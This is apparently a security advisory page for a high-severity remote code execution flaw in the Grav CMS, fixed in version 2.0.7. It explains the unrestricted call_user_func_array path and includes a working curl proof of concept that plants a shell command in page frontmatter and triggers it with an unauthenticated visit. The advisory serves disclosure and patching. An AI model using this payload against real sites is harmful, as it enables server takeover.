VDB
Sign up
HIGH

GHSA-fj2p-qj2f-74v5

Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()

Quick fix

GHSA-fj2p-qj2f-74v5 — getgrav/grav: upgrade to the fixed version with the command below.

composer require getgrav/grav:^2.0.7

Details

### Summary An account with the `admin.pages` permission (or `api.pages.write`) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.

### Details `Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes a `Class::method` string and its arguments straight to `call_user_func_array()` with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. `Grav\Common\Utils::arrayFilterRecursive($source,$fn)` (system/src/Grav/Common/Utils.php:1169) is a public static that calls `$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key runs the command.

### PoC Placeholders: `<BASE_URL>` the site; `<SESSION_COOKIE>` an admin session cookie for an account with `admin.pages`; `<ADMIN_NONCE>` the `admin-nonce` on any admin page (`window.GravAdmin.config.admin_nonce`).

Save a "form" page whose field carries the callable directive:

curl '<BASE_URL>/admin/pages/rcepoc' \ -H 'Cookie: <SESSION_COOKIE>' \ --data-urlencode 'task=save' \ --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \ --data-urlencode 'data[folder]=rcepoc' \ --data-urlencode 'data[name]=form' \ --data-urlencode 'data[title]=x' \ --data-urlencode 'data[content]=hi' \ --data-urlencode "data[frontmatter]=forms: x: fields: y: type: text data-opts@: - 'Grav\Common\Utils::arrayFilterRecursive' - { 'echo GRAV-RCE-OK; id': 'x' } - system"

Trigger it as an unauthenticated visitor:

curl '<BASE_URL>/rcepoc'

Success check: the GET response body begins with `GRAV-RCE-OK` followed by the web-server user's `id` output (a line starting `uid=...`) — the command ran during the unauthenticated request and its output is reflected in the response.

### Impact Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of `admin.pages` or `api.pages.write`.

Trust boundary: crossed. `admin.pages` (or `api.pages.write`) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.

Are you affected?

Enter the version of the package you're using.

Affected packages

Packagist/getgrav/grav
Introduced in: 0Fixed in: 2.0.7
Fixcomposer require getgrav/grav:^2.0.7

References